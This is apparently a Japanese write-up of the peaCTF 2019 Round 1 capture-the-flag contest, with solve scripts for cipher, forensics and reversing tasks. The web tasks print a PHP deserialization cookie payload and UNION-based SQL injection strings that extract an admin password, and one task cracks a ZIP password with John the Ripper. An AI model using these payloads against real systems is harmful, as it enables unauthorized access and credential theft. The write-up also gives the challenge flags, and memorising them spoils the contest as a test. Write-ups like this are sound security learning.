この大会は2019/7/22 9:00(JST)~2019/7/29 9:00(JST)に開催されました。
今回もチームで参戦。結果は5100点満点で到達順で45位でした。
少し古いですが、Round 2も終わったので、まずはRound 1からということで、
自分で解けた問題をWriteupとして書いておきます。
Breakfast (Cryptography 50)
問題文中の"bacon"が強調されている。Bacon's cipherか?
https://en.wikipedia.org/wiki/Bacon%27s_cipherを参考にしながら、復号する。
011100010000000000101001000101{00100001100011010100000000010100101010100010010001} p e a C T F {e g g w a f f l e s }
peaCTF{eggwaffles}
Broken Keyboard (Cryptography 50)
スペース区切りで、ASCIIコードが並んでいるので、文字にしていく。
with open('enc.txt', 'r') as f: enc = f.read() codes = map(int, enc.split(' ')) flag = '' for code in codes: flag += chr(code) print flag
peaCTF{4sc11isc00l}
Worth (General Skills 50)
問題文にはこう書いてある。
This problem is worth 0o1121 points.
8進数かな。そのままPythonのプロンプトで実行する。
>>> 0o1121 593
フラグはpeaCTF{593}でいいのかな…でも通らない。いろいろ試したがダメ。減点されないので、ヒントを見てみると、フラグ形式は flag{peactf_} だと書いてある。
flag{peactf_593}
Hide and Seek (General Skiils 100)
たくさんあるファイルの中にフラグがあるらしい。
$ grep -r flag /problems/hide-and-seek_39_0b4db346c77a5dce4a7e4936f6433bb9 /problems/hide-and-seek_39_0b4db346c77a5dce4a7e4936f6433bb9/529301771af54639459f293c63e78d8a/bc3fb39dc7fca0ab9 c4f7666f06b95aa/b088fa1251e1c8ff69d1f75c9e37172e/978a90d0d7e69ce7c7bcd95edbfd7b1a/1fa3c9c39d6a44606a7cc6099c43 d9ee/5035d74921232b829351b1c53a5882b0/e3081231952652d2dadb7dbdbe404b7b/a0f8cd3cb8f6a32285c6d6a92cfed0d4/741b35 fa1b7d48574fff8acf8f944b9e/5c21db84f7afbd20422a009c3409c854/210dfc5d908507adc185fdaee2120d57/994f0f0c950d6248d 0ccecbe8c7f2a20/931afb98dbd410796b3798e74589ba55/ae303387176fdf998c9ce4db84904314/133b7a5aa8315d4d0a82c40fa14a 59b9/48f1814fc964c6ec623382b158b22596/8aefdd1c695a92ee84c72fd39bdf7979/318af8179a81178c1d8efcaef7c33919/c4c940 68d0b638d15f8f06109090ba50/flag.txt:flag{peactf_linux_is_fun_dec4ab2bb00cf7ce5b3b49af64c15502}
flag{peactf_linux_is_fun_dec4ab2bb00cf7ce5b3b49af64c15502}
School (Cryptography 100)
換字式暗号。換字表を使って復号する。
import string C = 'WCGPSUHRAQYKFDLZOJNXMVEBTI' P = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' enc = 'zswGXU{ljwdhsqmags}' flag = '' for e in enc: if e in string.uppercase: d = P[C.index(e)] elif e in string.lowercase: d = P[C.index(e.upper())].lower() else: d = e flag += d print flag
peaCTF{orangejuice}
Choose your Pokemon (Forensics 150)
$ file master-ball master-ball: RAR archive data, v80, flags: Solid, Authenticated, $ mv master-ball master-ball.rar $ unrar e master-ball.rar UNRAR 5.30 beta 2 freeware Copyright (c) 1993-2015 Alexander Roshal Extracting from master-ball.rar Extracting roshambo OK All OK $ file roshambo roshambo: Zip archive data, at least v2.0 to extract $ mv roshambo roshambo.zip $ unzip roshambo.zip Archive: roshambo.zip inflating: inDesign $ file inDesign inDesign: PDF document, version 1.7
pdfに書かれているURLにアクセスする。
https://pastebin.com/AWTDEb9j
rtfのデータが貼り付けられている。rtfファイルとして開くと、フラグが書いてあった。
{wild_type}
Coffee Time (Reversing 250)
jarファイルが添付されている。JD-GUIでデコンパイルする。
public class CoffeeTime { public static void main(String[] args) throws Exception { new CoffeeTime(); } public CoffeeTime() throws IOException, InterruptedException { LineReader lineReader = LineReaderBuilder.builder().terminal(TerminalBuilder.terminal()).build(); String line = lineReader.readLine("Can you give me some time to calculate a number? [y/n]\n"); if (line.equals("y")) { Random random = new Random(); BigInteger bigInteger = new BigInteger(2000, random); long timestart = System.currentTimeMillis(); BigInteger result = bigInteger.pow(10000); long timeend = System.currentTimeMillis(); int secs = (int)((timeend - timestart) / 5.0D); System.out.println("\nWhat is " + bigInteger + " to the power of 10000?"); System.out.println("You have " + (secs / 1000.0D) + " seconds to answer."); Thread.sleep(secs); line = lineReader.readLine(); System.out.println("\nPlease wait."); if (line.equals(result.toString())) { if (System.currentTimeMillis() > timeend + secs) { System.out.println("Uh-oh, time's out."); } else { System.out.println("peaCTF{nice_cup_of_coffee}"); } } else { System.out.println("Wrong answer, unfortunately."); } } } }
フラグが書いてあった。
peaCTF{nice_cup_of_coffee}
Crack the Key (Cryptography 450)
Vigenere暗号。https://www.guballa.de/vigenere-solverで復号する。
MRJONESOFTHEMANORFARMHADLOCKEDTHEHENHOUSESFORTHENIGHTBUTWASTOODRUNKTOREMEMBERTOSHUTTH EPOPHOLESWITHTHERINGOFLIGHTFROMHISLANTERNDANCINGFROMSIDETOSIDEHELURCHEDACROSSTHEYARDKIC KEDOFFHISBOOTSATTHEBACKDOORDREWHIMSELFALASTGLASSOFBEERFROMTHEBARRELINTHESCULLERYANDM ADEHISWAYUPTOBEDWHEREMRSJONESWASALREADYSNORINGASSOONASTHELIGHTINTHEBEDROOMWENTOUTTHEREW ASASTIRRINGANDAFLUTTERINGALLTHROUGHTHEFARMBUILDINGSWORDHADGONEROUNDDURINGTHEDAYTHATOLDMA JORTHEPRIZEMIDDLEWHITEBOARHADHADASTRANGEDREAMONTHEPREVIOUSNIGHTANDWISHEDTOCOMMUNICATE ITTOTHEOTHERANIMALSITHADBEENAGREEDTHATTHEYSHOULDALLMEETINTHEBIGBARNASSOONASMRJONESWASSAFELY OUTOFTHEWAYOLDMAJORSOHEWASALWAYSCALLEDTHOUGHTHENAMEUNDERWHICHHEHADBEENEXHIBITEDWASWILLI NGDONBEAUTYWASSOHIGHLYREGARDEDONTHEFARMTHATEVERYONEWASQUITEREADYTOLOSEANHOURSSLEEPINORDERT OHEARWHATHEHADTOSAYATONEENDOFTHEBIGBARNONASORTOFRAISEDPLATFORMMAJORWASALREADYENSCONCED ONHISBEDOFSTRAWUNDERALANTERNWHICHHUNGFROMABEAMHEWASTWELVEYEARSOLDANDHADLATELYGROWNRATHER STOUTBUTHEWASSTILLAMAJESTICLOOKINGPIGWITHAWISEANDBENEVOLENTAPPEARANCEINSPITEOFTHEFAC TTHATHISTUSHESHADNEVERBEENCUTBEFORELONGTHEOTHERANIMALSBEGANTOARRIVEANDMAKETHEMSELVESCOMFOR TABLEAFTERTHEIRDIFFERENTFASHIONSFIRSTCAMETHETHREEDOGSBLUEBELLJESSIEANDPINCHERANDTHENTHE PIGSWHOSETTLEDDOWNINTHESTRAWIMMEDIATELYINFRONTOFTHEPLATFORMTHEHENSPERCHEDTHEMSELVESONTH EWINDOWSILLSTHEPIGEONSFLUTTEREDUPTOTHERAFTERSTHESHEEPANDCOWSLAYDOWNBEHINDTHEPIGSANDBE GANTOCHEWTHECUDTHETWOCARTHORSESBOXERANDCLOVERCAMEINTOGETHERWALKINGVERYSLOWLYANDSETTINGD OWNTHEIRVASTHAIRYHOOFSWITHGREATCARELESTTHERESHOULDBESOMESMALLANIMALCONCEALEDINTHESTRAWCLO VERWASASTOUTMOTHERLYMAREAPPROACHINGMIDDLELIFEWHOHADNEVERQUITEGOTHERFIGUREBACKAFTERHERF OURTHFOALBOXERWASANENORMOUSBEASTNEARLYEIGHTEENHANDSHIGHANDASSTRONGASANYTWOORDINARYHORSESP UTTOGETHERAWHITESTRIPEDOWNHISNOSEGAVEHIMASOMEWHATSTUPIDAPPEARANCEANDINFACTHEWASNOTOFFI RSTRATEINTELLIGENCEBUTHEWASUNIVERSALLYRESPECTEDFORHISSTEADINESSOFCHARACTERANDTREMENDOUSPOW ERSOFWORKAFTERTHEHORSESCAMEMURIELTHEWHITEGOATANDBENJAMINTHEDONKEYBENJAMINWASTHEOLDESTA NIMALONTHEFARMANDTHEWORSTTEMPEREDHESELDOMTALKEDANDWHENHEDIDITWASUSUALLYTOMAKESOMECYNICA LREMARKFORINSTANCEHEWOULDSAYTHATGODHADGIVENHIMATAILTOKEEPTHEFLIESOFFBUTTHATHEWOULDSOON ERHAVEHADNOTAILANDNOFLIESALONEAMONGTHEANIMALSONTHEFARMHENEVERLAUGHEDIFASKEDWHYHEWOULDS AYTHATHESAWNOTHINGTOLAUGHATNEVERTHELESSWITHOUTOPENLYADMITTINGITHEWASDEVOTEDTOBOXERTHETWOOF THEMUSUALLYSPENTTHEIRSUNDAYSTOGETHERINTHESMALLPADDOCKBEYONDTHEORCHARDGRAZINGSIDEBYSID EANDNEVERSPEAKING
鍵はredpineapplesであることもわかる。
peaCTF{redpineapples}
RSA (Cryptography 500)
enc_channelのnをfactordbで素因数分解する。
p = 404796306518120759733507156677 q = 408801179738927870766525808109
そのまま復号すると、フラグの前半が得られる。
auth_channelの方はenc_channelとは逆に暗号化すると、フラグの後半が得られ、結合すれば、フラグになる。
from Crypto.Util.number import * n = 165481207658568424313022356820498512502867488746572300093793 e = 65537 c = 150635433712900935381157860417761227624682377134647578768653 p = 404796306518120759733507156677 q = 408801179738927870766525808109 phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag1 = long_to_bytes(m) n = 59883006898206291499785811163190956754007806709157091648869 e = 65537 c = 23731413167627600089782741107678182917228038671345300608183 m = pow(c, e, n) flag2 = long_to_bytes(m) flag = flag1 + flag2 print flag
peaCTF{f4ct0r1ng1sfun}
Educated Guess (Web Exploitation 600)
コードは以下のようになっている。
<!doctype html> <html> <head> <title>Secured System</title> </head> <body> <?php // https://www.php-fig.org/psr/psr-4/ function autoload($class) { include $class . '.class.php'; } spl_autoload_register('autoload'); if (!empty($_COOKIE['user'])) { $user = unserialize($_COOKIE['user']); if ($user->is_admin()) { echo file_get_contents('../flag'); } else { http_response_code(403); echo "Permission Denied"; } } else { echo "Not logged in."; } ?> </body> </html>
入力データをunserializeしていることから、PHP Object Injectionで攻めればよさそう。
$ curl http://shell1.2019.peactf.com:27069/user.class.php Not Found $ curl http://shell1.2019.peactf.com:27069/User.class.php
さらにUserクラスがサーバにあることがわかる。これを前提に、シリアライズしたオブジェクトを作成して、クッキーで渡す。
$ cat serializeuser.php <?php Class User { private $admin = true; } $user = new User(); echo 'user=' . urlencode(serialize($user)); ?> $ php serializeuser.php user=O%3A4%3A%22User%22%3A1%3A%7Bs%3A11%3A%22%00User%00admin%22%3Bb%3A1%3B%7D $ curl -b 'user=O%3A4%3A%22User%22%3A1%3A%7Bs%3A11%3A%22%00User%00admin%22%3Bb%3A1%3B%7D' http://shell1.2019.peactf.com:27069/query.php <!doctype html> <html> <head> <title>Secured System</title> </head> <body> flag{peactf_follow_conventions_3bde1843fbe72e198d2122d1bfab1faf}</body> </html>
flag{peactf_follow_conventions_3bde1843fbe72e198d2122d1bfab1faf}
The Wonderful Wizard (Forensics 750)
PNGファイルが添付されている。Stegsolveで開き、Red plane 3を見る。
66 6c 61 67 7b 70 65 61 63 74 66 5f 77 68 65 72 65 5f 74 68 65 5f 77 69 6e 64 5f 62 6c 6f 77 73 7d
ASCIIコードが並んでいるので、デコードする。
enc = ''' 66 6c 61 67 7b 70 65 61 63 74 66 5f 77 68 65 72 65 5f 74 68 65 5f 77 69 6e 64 5f 62 6c 6f 77 73 7d ''' enc = enc.replace('\n', ' ')[1:-1] codes = enc.split(' ') flag = '' for code in codes: flag += chr(int(code, 16)) print flag
flag{peactf_where_the_wind_blows}
Song of My People (Forensics 800)
パスワード付きZIPファイルが添付されている。John The Ripperでクラックする。
$ ~/john-1.9.0-jumbo-1/run/zip2john song_of_my_people.zip > hash.txt ver 2.0 efh 9901 song_of_my_people.zip/Ice Cube - Check Yo Self Remix (Clean).mp3 PKZIP Encr: cmplen=5550839, decmplen=5601208, crc=3F7D5D ver 2.0 efh 9901 song_of_my_people.zip/README.txt PKZIP Encr: cmplen=132, decmplen=123, crc=E3A5855B ver 2.0 efh 9901 song_of_my_people.zip/a lengthy issue.png PKZIP Encr: cmplen=42909, decmplen=44525, crc=6514CE68 NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time. $ ~/john-1.9.0-jumbo-1/run/john --wordlist=dict/rockyou.txt hash.txt --rules Using default input encoding: UTF-8 Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 AVX 4x]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status violin (song_of_my_people.zip/Ice Cube - Check Yo Self Remix (Clean).mp3) 1g 0:00:01:22 DONE (2019-07-25 22:16) 0.01209g/s 49.52p/s 49.52c/s 49.52C/s slimshady..oooooo Use the "--show" option to display all of the cracked passwords reliably Session completed
7zipを使ってこのパスワードで解凍する。展開された a lengthy issue.png が開けない。PLTEチャンクのサイズがおかしいので、00 00 01 c5に修正したら、PNGファイルが開けた。
画像には以下のことなどが書いてある。
https://soundcloud.com/lil-redacted/live-concert-audio {(how many)_thousand_spaces_(page number)}
https://soundcloud.com/lil-redacted/live-concert-audioにアクセスすると、以下のように書いてある。
this concert is part of a larger tour that is archived completely in some kind of hexagonal library. The archive is named between "maybe" and a "repeat". Should be on the 371st page.
これを元にフラグを導き出す。how_manyの部分はわからなかったので、ブルートフォース。
{3_thousand_spaces_371}
Philips And Over (Web Exploitation 900)
[Sign In]から[Forgot your password?]をクリックして、Forgot Your Passwordの画面に遷移する。HTMLソースを見ると、debugの値が0になっている。FiddlerでRequestを投げる前に、debugの値を1に変える。
■username=nora&answer=neco&debug=1 username: nora answer: neco SQL query: SELECT password, answer FROM users WHERE username='nora' User does not exist. ■username=admin&answer=nora&debug=1 username: admin answer: nora SQL query: SELECT password, answer FROM users WHERE username='admin' Your answer to the security question is not correct. We have sent admin an email to notify this incident.
SQL Injectionができそう。
Username: ' union select 'sdasda', 'nora Security Question: nora →Your password is s.
パスワード(selectした1つ目のフィールド)は先頭1文字しか表示されない。adminのパスワードを少しずつ切り出していく。
Username: ' union select substr(password, 1, 1), 'nora' from users where username='admin Security Question: nora Your password is 1. Username: ' union select substr(password, 2, 1), 'nora' from users where username='admin Security Question: nora Your password is 7. Username: ' union select substr(password, 3, 1), 'nora' from users where username='admin Security Question: nora Your password is 4. Username: ' union select substr(password, 4, 1), 'nora' from users where username='admin Security Question: nora Your password is 2. Username: ' union select substr(password, 5, 1), 'nora' from users where username='admin Security Question: nora Your password is 8. Username: ' union select substr(password, 6, 1), 'nora' from users where username='admin Security Question: nora Your password is 7. Username: ' union select substr(password, 7, 1), 'nora' from users where username='admin Security Question: nora Your password is 9. Username: ' union select substr(password, 8, 1), 'nora' from users where username='admin Security Question: nora Your password is 1. Username: ' union select substr(password, 9, 1), 'nora' from users where username='admin Security Question: nora Your password is .
adminのパスワードは17428791。admin / 17428791 でログインしたら、フラグが表示された。
Welcome admin! Flag flag{peactf_E_>_A_619a3757c9da0049926aa13500e860bd}!
flag{peactf_E_>_A_619a3757c9da0049926aa13500e860bd}